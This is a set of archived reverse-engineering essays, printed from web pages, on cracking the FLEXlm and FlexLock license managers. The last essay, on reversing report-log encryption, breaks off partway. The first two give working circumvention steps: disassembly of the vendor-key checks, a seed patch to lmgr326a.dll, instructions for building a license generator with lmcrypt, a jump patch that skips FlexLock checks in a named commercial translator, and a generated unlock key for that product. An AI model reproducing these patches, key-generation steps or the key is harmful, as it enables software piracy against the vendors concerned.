An error message comes up, complaining on bad vendor key data. It gives

http://www.instinct.org/fravia/flexm.htm (5 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files

you also the error code number , -44. See the lmclient.h header for a
summary of the error codes. From the Flexlm documentation it should be
clear, that this error code is returned within the eax register at the
completion e.g. of lm_init. Hence we have to scan the disassembly of
lmgr326a.dll (or the corresponding dll of your Flexlm SDK) for 'ffffffd4'
in order to find out, why lmgr thinks the codes were bad (They aren't,
are they? We typed them carefully to lm_code.h).

You can put breakpoints on all locations, where 'ffffffd4' is assigned


to a register or a memory location - there are only a few occurrences of
this. But look at the disassembly: it's obvious - there is one push
'ffffffd4' directly preceding a call to the l_set_error routine.
Following the code upwards leads directly to the 'bad guy-good boy'
decisions. You might be tempted (as I were so,too) to invert the jumps,
but this leads You into dozens of other error messages - and we want to
attack the mechanism itself, not only the flow of the program. Hence
follow the code upwards: Directly over the bad guy-good boy test there
is weird looking bit juggling that is used to decide the validity of
the codes. One the other hand the data that are processed by this
strange code are prepared within a subroutine a few lines above

Put a breakpoint just before the call preceding the suspicious code
snippet and examine the arguments that are passed into the subroutine:
the code struct and the vendor name. Sure enough we're on the right
track. Step into the subroutine. There are two types of calls inside.
The first one takes the vendor name as input (and _only_ the vendor
name!), while the second routine is fed by the vendor keys. The second
call proves to host some encryption algorithm, while the first one is ...
(you should be able to guess it) ... a checksum over the vendor
name:

33F6 xor esi, esi ;count variable 0 .. 3


B835C90415 mov eax, 1504C935 ;put seed in eax ...
8B54240C mov edx, dword ptr [esp+0C] ;this one is the vendor name
...
:loop
0FBE3A movsx edi, byte ptr [edx] ;read one character from vendor
name
8D0CF500000000 lea ecx, dword ptr [8*esi+0x0]
42 inc edx ;increase edx for the next
character
D3E7 shl edi, cl ;move char 0..3 bytes higher
33C7 xor eax, edi ;in eax the output accumulates
46 inc esi
83FE04 cmp esi, 0x4
7C02 jl still_the_same_dword:
33F6 xor esi, esi ;esi should count to 3 only
:still_the_same_dword
803A00 cmp byte ptr [edx], 00 ;loop until whole name processed
75E4 jne loop:
...

Watch this code snippet working in the debugger. Then its function
becomes clear instantly: starting from the seed 1504c935 the vendor
name is XORed character by character. The first character of the vendor

http://www.instinct.org/fravia/flexm.htm (6 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files

name string is XORed with the lowest byte of eax, the second one with
the next byte of eax, and so on.
Now we should examine this procedure as it takes place during the
initialization process of your target. Start again from the assignment
of the error code -44 (You might fake the code struct that is handed to
lc_init in order to force the error, or -better- try the dead listing
approach).
After a short search you'll land into the same routine - with slight
modifications most probable due to the new compilation of the code.

The next step is obvious: Patch the lmgr326a.dll (or your equivalent,
if using a different Flexlm SDK). Replace the original seed by the one
used within the lmgr-DLL from Your target. Run genlic32.exe again,

.. et voil ..
no more bad vendor keys

3.) Compiling a license key generator

But still we don't have enough control over the license generation.
There are a couple of open points: First of all, older license schemes
require longer security(?) strings, which can not be generated with
genlic32. Moreover there are implementations with dongles, that require
the incorporation of a so called vendor defined hostid. All this can be
achieved by a specialized license generator program. Globetrotter guys
are nice enough to supply us with the source code of this. It is called
lmcrypt.c. The following paragraph shall describe, how to get this
working.
So prepare your favorite C compiler. Include the lmgr-DLL that came
with the Flexlm SDK. Read the manuals on how to use lmcrypt. You might
also check the vendor defined hostid section, when dealing with these
kind of things. You should prepare a prototype of the license file,
i.e. the desired one with the exception of the right security string.
Maybe you can get a time limited demo license (I admit, that this is
quite lame, one the other hand the Flexlm manual describe everything
You need to know to write a prototype by your own).

Now lets prepare the compilation of lmcrypt. Actually lmcrypt uses


five imports from the dll. The following is the example on how to bind
the lmgr-dll to lmcrypt in Borland C/C++ compiler.

NAME LMCRYPT
DESCRIPTION 'binding lmgr326a.dll to lmcrypt'
HEAPSIZE 32768
STACKSIZE 32768
IMPORTS
_lc_init=LMGR326A.lc_init
_lc_perror=LMGR326A.lc_perror
_lc_set_attr=LMGR326A.lc_set_attr
_lc_cryptstr=LMGR326A.lc_cryptstr
_lc_free_mem=LMGR326A.lc_free_mem

Be sure to spell correctly, there are also uppercase export functions


of the lmgr-dll that do not work with lmcrypt.

http://www.instinct.org/fravia/flexm.htm (7 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files

Compile lmcrypt.exe and run it ... verdammt! same lame error again ...

One needs a lot of patience with Flexlm. Again it complains on bad vendor
codes. But don't worry. We're near the end of our adventure. Look on the
error message - Flexlm always produces very sounding error messages
(no 1800000c general protection fault). Apparently something with
lc_init went wrong. Set a breakpoint on lc_init and look on the
arguments that are handed over to lc_init. It should look like that:

short type; /* there are a couple of different code structs


*/
int (seed1)^(vendorkey5); /* seed 1 Flexlm checksum */
int (seed2)^(vendorkey5); /* seed 2 Flexlm checksum */
int vendorkey1; /* vendor key 1 */
int vendorkey2; /* vendor key 2 */
int vendorkey3; /* vendor key 3 */
int vendorkey4; /* vendor key 4 */
short flexlm_version; /* to some extent the different versions */
short flexlm_revision; /* were the root of this essay */

Compare this to the parameters that were handed to lc_init by your


target at the top of the essay: The struct type was declared as int, and
not as short. You can check this at the vendor code check. Set your
breakpoint and look how the single vendor codes are processed: They
are misaligned by one word.
(I was not able to find out, whether this was a real bug within the Flexlm
SDK, or whether that was intended by the Globetrotter guys as a little
additional obstacle on the way to a license generator)

Now the solution is simple: locate the declaration of the code structs
(they are within lmclient.h) and correct them. Recompile lmcrypt ...
... and generate your own licenses ...

A little tip at the end: I use something like


lmcrypt -i licproto.dat -o license.dat -f -longkey -verfmt 5.1
on DOS command prompt. It gives You control over all the little
options we need :-)

VoxQuietis

Final Notes

In my opinion Flexlm is far from being dead. There are targets incorporating
vendor defined checkout filters, i.e. the checkout routine is incorporated into
the target. There might be further restrictions for a successful checkout, e.g.
only a certain range of host IDs is allowed. Or, even worse, checksum (or other

http://www.instinct.org/fravia/flexm.htm (8 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files

cryptographic) protections of the target and the checkout mechanism might be


incorporated. The protectionists could use anti-debugging tricks, encryption of
the subroutines they don't want us to use ...
Hence I believe the race with the protectionists will go on. And we should
sharing our knowlegde in order to stay on the winning side.

Code Snippets
Snippets from the LMGR326A.dll Disassembly

The following code snippets should familiarize you with the 'look and feel'
of Flexlm.

First code snippet shows the location of the good boy/bad guy decision.

:10006A78 8B450C mov eax, dword ptr [ebp+0C]


:10006A7B 83C00C add eax, 0000000C
:10006A7E 50 push eax
:10006A7F FF7510 push [ebp+10]
:10006A82 E8C8190000 call 1000844F <- prepares the vendor code check
:10006A87 83C408 add esp, 00000008 follow this one
:10006A8A 8BF8 mov edi, eax
:10006A8C 85FF test edi, edi
:10006A8E 742B je 10006ABB
:10006A90 8B470C mov eax, dword ptr [edi+0C]
:10006A93 B9FFFF0000 mov ecx, 0000FFFF <- certain properties of valid
:10006A98 8BD0 mov edx, eax vendor codes are checked
:10006A9A 23C1 and eax, ecx in these lines
:10006A9C C1EA10 shr edx, 10
:10006A9F 81F2EFA3FFFF xor edx, FFFFA3EF
:10006AA5 23D1 and edx, ecx
:10006AA7 2BD0 sub edx, eax
:10006AA9 8B4704 mov eax, dword ptr [edi+04]
:10006AAC 8BC8 mov ecx, eax
:10006AAE 2480 and al, 80
:10006AB0 83E17F and ecx, 0000007F
:10006AB3 894704 mov dword ptr [edi+04], eax
:10006AB6 894DFC mov dword ptr [ebp-04], ecx
:10006AB9 EB03 jmp 10006ABE
* Referenced by a Jump at Address 10006A8E(C):
:10006ABB 8B55FC mov edx, dword ptr [ebp-04]
* Referenced by a Jump at Address 10006AB9(U)
:10006ABE 85FF test edi, edi
:10006AC0 0F8480020000 je 10006D46 <- bad guy jumps here
:10006AC6 85D2 test edx, edx
:10006AC8 0F8578020000 jne 10006D46 <- bad guy jumps here

Second code snippet shows the body of the vendor code check.
Note that at this stage there is no date check, i.e. bad key
data error doesn't indicate that keys are expired.

:1000844F 56 push esi


:10008450 57 push edi
:10008451 FF74240C push [esp+0C]
:10008455 E8C4FFFFFF call 1000841E <- checksum over vendor string
:1000845A 8B742414 mov esi, dword ptr [esp+14]
:1000845E 83C404 add esp, 00000004

http://www.instinct.org/fravia/flexm.htm (9 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files
:10008461 8BF8 mov edi, eax
:10008463 FF36 push dword ptr [esi] <- vendor key 1
:10008465 E85C000000 call 100084C6 <- run encryption with key 1
:1000846A 83C404 add esp, 00000004
:1000846D 33C7 xor eax, edi
:1000846F A320E80310 mov dword ptr [1003E820], eax
:10008474 FF7604 push [esi+04] <- vendor key 2
:10008477 E84A000000 call 100084C6 <- run encryption with key 2
:1000847C 83C404 add esp, 00000004
:1000847F 3306 xor eax, dword ptr [esi] <- XOR with key 1
:10008481 330520E80310 xor eax, dword ptr [1003E820]
:10008487 A324E80310 mov dword ptr [1003E824], eax
:1000848C FF7608 push [esi+08] <- vendor key 3
:1000848F E832000000 call 100084C6 <- run encryption with key 3
:10008494 83C404 add esp, 00000004
:10008497 334604 xor eax, dword ptr [esi+04] <- XOR with key 2
:1000849A 330524E80310 xor eax, dword ptr [1003E824]
:100084A0 A328E80310 mov dword ptr [1003E828], eax
:100084A5 FF760C push [esi+0C] <- vendor key 4
:100084A8 E819000000 call 100084C6 <- run encryption with key 4
:100084AD 83C404 add esp, 00000004
:100084B0 334608 xor eax, dword ptr [esi+08] <- XOR with key 3
:100084B3 330528E80310 xor eax, dword ptr [1003E828]
:100084B9 5F pop edi
:100084BA 5E pop esi
:100084BB A32CE80310 mov dword ptr [1003E82C], eax
:100084C0 B820E80310 mov eax, 1003E820
:100084C5 C3 ret

The third code snippet shows the checksum algorithm, which


is describe above.

:1000841F B835C90415 mov eax, 1504C935 <- save seed of checksum in eax
:10008424 57 push edi
:10008425 33F6 xor esi, esi
:10008427 8B54240C mov edx, dword ptr [esp+0C] <- vendor name
:1000842B 803A00 cmp byte ptr [edx], 00
:1000842E 741C je 1000844C <- step out if ready
* Referenced by a Jump at Address 1000844A(C) <- head of loop
:10008430 0FBE3A movsx edi, byte ptr [edx] <- read one character
:10008433 8D0CF500000000 lea ecx, dword ptr [8*esi+00000000]
:1000843A 42 inc edx
:1000843B D3E7 shl edi, cl <- no shift for first character
:1000843D 33C7 xor eax, edi shift second character one byte
higher
:1000843F 46 inc esi third character two bytes
:10008440 83FE04 cmp esi, 00000004 fourth character three bytes
:10008443 7C02 jl 10008447
:10008445 33F6 xor esi, esi <- fifth byte: no shift
* Referenced by a Jump at Address 10008443(C) and so on until the end of the
:10008447 803A00 cmp byte ptr [edx], 00 vendor string
:1000844A 75E4 jne 10008430 <- process next character
...............

Snippets from the LMGR325C.dll Disassembly

Again the first snippet shows the location of the good boy/bad guy decision.

:10009730 8B450C mov eax, dword ptr [ebp+0C]


:10009733 83C00C add eax, 0000000C
:10009736 50 push eax
:10009737 8B4510 mov eax, dword ptr [ebp+10]

http://www.instinct.org/fravia/flexm.htm (10 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files
:1000973A 50 push eax
:1000973B E8EDBA0000 call 1001522D <- step in here, it's the vendor code
check
:10009740 83C408 add esp, 00000008
:10009743 8945F4 mov dword ptr [ebp-0C], eax
:10009746 837DF400 cmp dword ptr [ebp-0C], 00000000
:1000974A 0F8441000000 je 10009791
:10009750 8B45F4 mov eax, dword ptr [ebp-0C]
:10009753 8B400C mov eax, dword ptr [eax+0C]
:10009756 350000EFA3 xor eax, A3EF0000
:1000975B 8945FC mov dword ptr [ebp-04], eax
:1000975E C16DFC10 shr dword ptr [ebp-04], 10 <- look at the characteristic
bit-juggling
:10009762 8165FCFFFF0000 and dword ptr [ebp-04], 0000FFFF
:10009769 33C0 xor eax, eax
:1000976B 8B4DF4 mov ecx, dword ptr [ebp-0C]
:1000976E 8B490C mov ecx, dword ptr [ecx+0C]
:10009771 81E1FFFF0000 and ecx, 0000FFFF
:10009777 2BC1 sub eax, ecx
:10009779 F7D8 neg eax
:1000977B 2945FC sub dword ptr [ebp-04], eax
:1000977E 8B45F4 mov eax, dword ptr [ebp-0C]
:10009781 8B4004 mov eax, dword ptr [eax+04]
:10009784 83E07F and eax, 0000007F
:10009787 8945F8 mov dword ptr [ebp-08], eax
:1000978A 8B45F4 mov eax, dword ptr [ebp-0C]
:1000978D 83600480 and dword ptr [eax+04], FFFFFF80
* Referenced by a Jump at Address 1000974A(C)
:10009791 837DF400 cmp dword ptr [ebp-0C], 00000000
:10009795 0F841F000000 je 100097BA <- bad guy jumps here, dead listing
reverser
:1000979B 837DFC00 cmp dword ptr [ebp-04], 00000000 comes from
here!
:1000979F 0F8515000000 jne 100097BA <- bad guy jumps here

The last snippet shows the vendor name checksum generation.


You should carefully look at identical structure of the corresponding snippet from lmgr326a.dll

:100151D4 53 push ebx


:100151D5 56 push esi
:100151D6 57 push edi
:100151D7 C745F8F240A358 mov [ebp-08], 58A340F2 <- save seed of checksum in [ebp-08]
:100151DE C745FC00000000 mov [ebp-04], 00000000
* Referenced by a Jump at Address 1001521B(U)
:100151E5 8B4508 mov eax, dword ptr [ebp+08] <- head of loop
:100151E8 0FBE00 movsx eax, byte ptr [eax]
:100151EB 85C0 test eax, eax
:100151ED 0F842D000000 je 10015220 <- step out if ready
:100151F3 8B4508 mov eax, dword ptr [ebp+08]
:100151F6 0FBE00 movsx eax, byte ptr [eax]
:100151F9 8B4DFC mov ecx, dword ptr [ebp-04]
:100151FC C1E103 shl ecx, 03
:100151FF D3E0 shl eax, cl
:10015201 3145F8 xor dword ptr [ebp-08], eax
:10015204 FF4508 inc [ebp+08]
:10015207 FF45FC inc [ebp-04]
:1001520A 837DFC04 cmp dword ptr [ebp-04], 0x4 <- inner counter counts until 3
:1001520E 0F8C07000000 jl 1001521B
:10015214 C745FC00000000 mov [ebp-04], 0x0
* Referenced by a (U)nconditional or (C)onditional Jump at Address 1001520E(C)
:1001521B E9C5FFFFFF jmp 100151E5
..............

http://www.instinct.org/fravia/flexm.htm (11 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/flexm.htm (12 of 12) [2/7/2001 3:28:42 PM]


pflexlo1.htm: pilgrim_flexlo1.htm

FlexLock
"... less secure than the rest of FLEXlm" Not Assigned

June 1999 by pilgrim


slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
The words "a shareware demo protection that can easily be licensed"
fra_00xx spell doom, as any reverser will immediately 'feel'... Flex protectors
980621 are advised to head the words of the world best kenner of this
Pilgrim protection scheme: "FlexLock seems trivial to crack due to the simple
0100 pass/fail return from the single API function call. A chain is only as
NA strong as it's weakest link. FlexLm is fairly strong. The single API
PC function call is laughably weak.".
Enjoy!
There is a crack, a crack in everything That's how the light gets in
Rating (x)Beginner (x)Intermediate ( )Advanced ( )Expert

Here's a quick way to understand FlexLocked applications, and a more detailed analysis of FlexLock
license generation.

FlexLock
"... less secure than the rest of FLEXlm"
Written by pilgrim

Introduction
We've looked at FlexLm and FlexCrypt, here another FlexLm based 'security' program bites the dust:
FlexLock. It's intended as a shareware demo protection that can easily be licensed.

Here's a snippet from the release note for FlexLock:

NOTE: We've made every effort to make the FLEXlock feature secure.
However, due to the type of security technology used for FLEXlock, it is less secure than the rest of
FLEXlm. This is why it is disabled by default. You should only enable FLEXLOCK if the convenience
of FLEXlock licensing is more important than the reduced security it exposes your product to.

http://www.instinct.org/fravia/pflexlo1.htm (1 of 6) [2/7/2001 3:28:46 PM]


pflexlo1.htm: pilgrim_flexlo1.htm

Tools required
W32DASM, your favourite hex editor ( I favour HIEW )

Target's URL/FTP
The FlexLock SDK is available at ftp.globes.com, or www.globetrotter.com
An example FlexLocked application, Hotz Translator II, is at www.hotz.com

Program History
FlexLock 1.0 started as a standalone product utilising FlexLm V6
FlexLock 2.0 has been integrated into FlexLm V7

Essay
Before you read this, I'd first read Siul+Hackys essay ( siulflex.htm which started all this ), my further
essays (pilgrim.htm & pilgrim2.htm & flexm11.htm), and Vox's (flexm.htm) too.

The quick crack:


================

Install Hotz Translator II. We see flock.dll which is the flex-lock DLL. Looking for calls to the DLL we
find only one in tranfl.exe. Here's the edited dissassembly with detailed notes for the analysis later:

:00409160 push eax <- modeVal


:00409161 push ecx <- challengeVal
:00409162 push 004A5684 <- FL_INSTANCE_NAME "OR5289000"
:00409167 Call 004422EC <- FLOCKDLL._FL_FLEXlockAPI@12
:0040916C test eax, eax
:0040916E jne 004091B2 <- jump if function ran OK
...
:004091B2 mov eax, dword ptr [esp+38] <- modeVal
:004091B6 cmp eax, ebp
:004091B8 je 004091DA <- modeVal OK?
:004091BA cmp eax, 00000002
:004091BD je 004091DA <- modeVal = purchased?
...
:004091DA mov eax, dword ptr [esp+0C] <- challengeVal
:004091DE xor edi, 40646F84 <- localVal XOR FL_MASKED_CODE
:004091E4 xor eax, 40687EA9 <- challengeVal XOR FL_MASK

http://www.instinct.org/fravia/pflexlo1.htm (2 of 6) [2/7/2001 3:28:46 PM]


pflexlo1.htm: pilgrim_flexlo1.htm

:004091E9 cmp edi, eax <- challengeVal == local val ?


:004091EB mov dword ptr [esp+0C], eax
:004091EF je 0040920C <- good_guy
...
:0040920C lea ecx, dword ptr [esp+14]
:00409210 push ecx
:00409211 mov ecx, esi
:00409213 call 0047424C <- update license info?
:00409218 test eax, eax
:0040921A jne 00409234 <- good_guy
So patch the first push eax to be jmp 00409234 This by-passes all license checking and we're done!

Deeper analysis of the crack


============================

First we'd better download the FlexLock 1.0 SDK. We see it's 32 bit cryptwin encrypted, see previous
essays on how to crack.
( note this has the extra checksum at the front of the Z file to bypass).
Once it's installed we see an example of how to call the API in csamples\main.c Here's the edited
highlights:

#define FL_MASK 0x24f96f82


#define FL_MASKED_CODE (0x33333333 ^ FL_MASK)
#define FL_INSTANCE_NAME "47123001"

challengeVal = rand();
localVal = challengeVal;
intReturned =
FL_FLEXlockAPI( FL_INSTANCE_NAME, &challengeVal, &modeVal );
if( intReturned == 0 )
exit( -1 );
if ( modeVal != FL_PURCHASED )
exit( -1 );
challengeVal ^= FL_MASK;
localVal ^= FL_MASKED_CODE;
if( localVal != challengeVal )
exit( -1 );
So we first see a check to ensure the API function ran OK.
Then another on modeVal to ensure we're using the 'purchased' mode.
Then some sneaky XORs to ensure we've not fiddled with data.

The main thing to note is that 0x33333333 is the users 'secret code' This is used to ensure valid users of
the FlexLock SDK cannot easily generate licenses for another FlexLock application without knowing the
other 'secret key'.

http://www.instinct.org/fravia/pflexlo1.htm (3 of 6) [2/7/2001 3:28:46 PM]


pflexlo1.htm: pilgrim_flexlo1.htm

So we can see the secret key = FL_MASKED_CODE ^ FL_MASK


Looking at Hotz above we see:

:004091DE xor edi, 40646F84 <- localVal XOR FL_MASKED_CODE


:004091E4 xor eax, 40687EA9 <- challengeVal XOR FL_MASK
For Hotz this gives secret code = 0x40646F84 XOR 0x40687EA9 = 0x0000C112D

As we'll see later, the key is entered in decimal, which in this case is 79 08 29. What's this? Someones
birthday?

So we can see why the first quick crack had to bypass both the function call and the sneaky checks.

Get the FlexLock SDK to work


============================

The FlexLock SDK consists of two components: configedit and makelicence.


Reading the accompanying documentation we see they need a FlexLm license stored in
\licenses\license.lic We also see an example license:

FEATURE FLConfigEdit gsi 1.0 1-jan-0000 0EC3505C1AE9C5EE1D977


\ VENDOR_STRING=OR5358 HOSTID=123456
ISSUER="GLOBEtrotter
\ Software, Inc." ck=48
FEATURE FLMakeLicense gsi 1.0 1-jan-0000 00C65F5710DFEF9B33F77
\ HOSTID=123456 ISSUER="GLOBEtrotter Software, Inc."ck=39
We can see: the vendor name is gsi ( Globetrotter Software Inc ); the two feature names; configedit
requires a vendor string.

Let's make a license for the FlexLock SDK. We can see lmgr326a.dll in the FlexLock SDK, so why not
try the genlic32 program that comes with the FlexLm 6.1 SDK?
Because it doesn't work, that's why not.
It generates HOSTID=ANY which the flexlock programs don't like.
But if you make your own license generator, as Vox shows you, then we just get "ANY" which works.

What's the VENDOR_ID for? Well, it seems that the FlexLock tools read the vendor ID and use it as a
feature name for the FlexLock key.
Finding it is easy, according to the documentation: After the FLEXlock operation is activated, an entry is
generated in the registry. It is located at:
HKEY_LOCAL_MACHINE->SOFTWARE->GLOBEtrotter Software Inc.->FLEXlock
So run your flexlocked application then look in the registry for the feature name.
In the case of Hotz Translator it's OR5289000 But it's not that easy, the last three digits are the product
number.
So the vendor id we require is OR5289

http://www.instinct.org/fravia/pflexlo1.htm (4 of 6) [2/7/2001 3:28:46 PM]


pflexlo1.htm: pilgrim_flexlo1.htm

We eventually end up with the licence we need to get FlexLock to run:

FEATURE FLMakeLicense gsi 1.000 permanent uncounted 2CF67BC10C7B17A4222B "" ANY


FEATURE FLConfigEdit gsi 1.000 permanent uncounted 3C264B61C254B643EAED "OR5289" ANY

Generate a license
==================

Follow the FlexLock SDK instructions and make a FlexLock license for your target.
Note in the case of Hotz the product number needs to be 000 to give the desired feature name. And the
secret code is the one we found above.
Run configedit first, then makelicence to generate a key for the FlexLocked target.

I ended up with this for Hotz:


FLEXlock-OR5289000-15937-42877-61858-06522-46939-34028-8035

This can be entered when prompted, or saved in a license.dat file in the targets root directory.

Further analysis
================

As usual, I dug a little deeper.


These are just a few discoveries which may help you. Please feel free to fill in the missing gaps ;-)

The FlexLock licence above is in what Globetrotter call decimal format.


It's generated by lc_cryptstr, when passed a flag LM_CRYPT_DECIMAL, 0x20.
If we break on the call to lc_cryptstr during licence generation, remove the LM_CRYPT_DECIMAL we
get the readable format of the license file:

FEATURE OR5289000 FLEXlock 1.000 permanent uncounted


3454EFA72F5E \
VENDOR_STRING=1889375979 HOSTID=ANY
When saved in the license.dat file this works fine instead of the decimal format. So the feature is defined
by our application, vendor name is FLEXlock. But what's the vendor string for?

Deeper still...

We can easily find the seeds and keys used by FlexLock by breaking on lc_init and finding the key 5
XORs.
But looking at lc_set_attr calls we see FlexLock uses a vendor-defined checkout filter. Maybe this has
something to do with vendor string?

http://www.instinct.org/fravia/pflexlo1.htm (5 of 6) [2/7/2001 3:28:46 PM]


pflexlo1.htm: pilgrim_flexlo1.htm

Final Notes
It seems the basics behind FlexLm aren't changing, there are just more and more 'value-added' wrappers
applied around the core.

Understand the core and you've won.

However, FlexLm _is_ flexible, with lots of sneaky tricks such as vendor- defined encryption. I'm sure
this isn't the end of FlexLm.

FlexLock seems trivial to crack due to the simple pass/fail return from the single API function call. A
chain is only as strong as it's weakest link. FlexLm is fairly strong. The single API function call is
laughably weak.

Thanks go out to all you good people who continue sharing the knowledge.

pilgrim

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a
longer period than the allowed one. Should you want to STEAL this software instead, you don't need to
crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged,
farewell, don't come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC students' essays academy database


reality cracking how to search java-script wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/pflexlo1.htm (6 of 6) [2/7/2001 3:28:46 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

Reversing the report encryption


algorithm for the flexlm license
manager.
flexlm
Explains the encryption algorithm used by vendor
daemons for reporting.
21-oct-1999 by Nolan Blender
slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
Lately, many of my more industrious and investigative
contributors have taken it upon themselves to supply documents
which purport to explain and/or illuminate the most secret
fra_00xx workings of the FlexLM schemes.
980926 You may be able to read a very interesting example of
Nolan Blender team-reversing (about FlexLM) here
0100
FL Nolan Blender writes in the following essay:
PC "In many ways, reversing code is a mental exercise of examining
what is happening in the program, and asking "If I were writing
this, what would I be trying to accomplish?"
It is indeed, and this very good essay will delight many readers.
There is a crack, a crack in everything That's how the light
gets in
Rating ( )Beginner (X)Intermediate ( )Advanced ( )Expert

This document describes the reversing of the FlexLM reporting algorithm on the HP platform. Mostly this was
done as an exercise in reverse engineering, and to determine exactly how the encryption of the reporting logfiles
was done in Flexlm.

Reversing the report encryption algorithm for the flexlm license


manager.
Explains the encryption algorithm used by vendor daemons for
reporting.
Written by Nolan Blender

Introduction
This essay describes in some depth how the reversing of the Flexlm reporting log encryption algorithms was done.

http://www.instinct.org/fravia/nol_02_f.htm (1 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

The reversing of one of the smaller modules is discussed in depth, as well as some of the techniques used to
decode sections of the more difficult to understand programs. Methods to replicate the functionality of the reversed
modules is discussed as well. The ability to decode the Flexlm logfiles isn't a generally useful thing, but the
methods described can be used for reversing other programs.

Tools required
DDE for HP-UX
ANSI C compiler.

Target's URL/FTP
ftp.globes.com
Get the version 6.1 Flexlm SDK for HP, and use Pilgrim's or my techniques to unpack.

Program History
Flexlm generates logfiles which can be interpreted by special tools provided by Globetrotter, most notably
Samreport, Samsuite and by the repapi product. The file is encrypted, supposedly to prevent tampering, but most
likely to force end users to purchase their expensive license reporting tool rather than exporting the raw data into a
spreadsheet and generating the reports there. The logfile is somewhat tamper resistant, and it is possible to
determine if lines have been deleted from the log file. The capability to decode what is in the file directly isn't too
useful since the Globetrotter reporting tools have been cracked, but it is satisfying to know what is going into the
log.

Essay
Preliminaries.

Although this paper is mostly about reversing the algorithm that is used for encryption, I am including some
assembly code sections as well. There are some fundamental differences between how the Intel and PA-RISC
processors work, and how the calling sequences are implemented.

Firstly, the byte order is different on the machines. PA-RISC (and SPARC and MIPS) are big endian
implementations. The most significant byte is stored at the starting address for these machines. On Intel and VAX
machines, the least significant byte is stored at the starting address. This is important if you are debugging because
when , say, using Softice to debug on Intel machines, on memory operations you will see that 0x31323334 is
equivalent to "4321" where it is "1234" on the big endian machines.

The subroutine calling sequence is significantly different as well. On the HP-UX implementation on PA-RISC,
registers are used to pass arguments where possible. The calling sequence on Windows NT intel pushes the
arguments onto the stack.

Outline of the process.


1) A daemon was built using the Flexlm Software Development Kit that had a complete symbol table and debug
information.

http://www.instinct.org/fravia/nol_02_f.htm (2 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

2) A license file for that daemon was created that created a reportlog.

3) The debugger was run on the daemon, and the relevant calls to the logging routines determined. This was done
by tracing the vendor daemon while a checkout was done.

4) The relevant object file was extracted from the Globetrotter supplied library, and a program that emulated the
calls to the relevant routines was created. The output of the program was checked against the logfile to make sure
that the same behaviour was exhibited by the test program as the actual daemon.

5) The program was analysed and a program that emulated the behaviour of the test program was written.

Step 1.
This process was described in an earlier essay, but the essential part is to change the makefile so that everything is
compiled with the -g option, and the rules which strip the resulting executable are removed. It is possible to debug
a completely stripped executable, but life is difficult enough as it is, so any advantages which can be gained should
be used.

Step 2. A license file that contains options for creating a logfile was generated. Here is the relevant line from that
file:

VENDOR blenderd blenderd blenderd.opts

blenderd.opts contains

REPORTLOG +myreport

All this is documented in the Flexlm end user manual, and there is nothing difficult or undocumented with this
step.

Step 3.
The executable was run, and calls to ls_append_repfile and ls_lf were called with information, then the calls to the
file system write were called with data somewhere in those routines. These calls were carefully examined and the
interesting routines determined. The tactic of writing an intercepting routine that passes arguments through and
logs them was used to get typical input into ls_lf.

Step 4.
The relevant object was then extracted from liblmgr_s.a. This object is ls_filter.o - this contains the encrypting
code that converts the plaintext into the form that is written to the file. The next step was to build an executable
that would reproduce the function in question. The unix nm command was used to figure out the missing globals or
functions, then the vendor daemon operation was examined to extract the relevant values from the executable.

Makefile contains

CFLAGS= -Ae -g

all: democrack

democrack.o: democrack.c
cc $(CFLAGS) democrack.c -c

http://www.instinct.org/fravia/nol_02_f.htm (3 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

democrack: democrack.o lsfilter.o


cc $(CFLAGS) democrack.o lsfilter.o -o democrack

Program initially contains

#include<stdio.h>
main(int argc, char *argv[])
{
}

% make
cc -Ae -g democrack.c -c
cc -Ae -g democrack.o lsfilter.o -o
democrack
/usr/ccs/bin/ld: Unsatisfied symbols:
ls_replog_ascii (data)
ls_log_repfile_client (data)
ls_replog_clear (data)
ls_log_repfile (data)
ls_client_send_str (code)
*** Error exit code 1
At this point, we know that there are a whole bunch of variables and subroutines messing. My tactic here is to start
debugging the license server, and to declare the missing variables as initialized data space.

The working vendor daemon must now be examined, and the process of determining what variables are getting
passed in. The value of the missing variables can be determined too.

Since we know the argument list that is passed to the vendor daemons by using ps -ef, we call the vendor daemon
directly. DDE allows you to attach to an existing process, however it's much simpler to call the program directly.

% /opt/langtools/bin/dde ./blenderd -T myhost 6.1 3 -c test.dat

Once dde has started, we want to put a breakpoint at ls_lf, the routine which writes to the logfile.

dde> break ls_lf


Breakpoint(s) set.

Then go is typed to run the program.

At this point, I should note that it may not be possible to set a breakpoint at some locations because the scope of
the procedure is not visible to main. You can get the address to break on by using the nm command. nm -x gives
values which are suitable for dde. The syntax is break `va(address) where address is the hex address of the item of
interest.

After the program hits the breakpoint, we look at the call in the preceeding stack frame (by opening the stack view,
then clicking on the frame of interest, in this case, ls_append_repfile+0c8. Since we don't have the source, we must

http://www.instinct.org/fravia/nol_02_f.htm (4 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

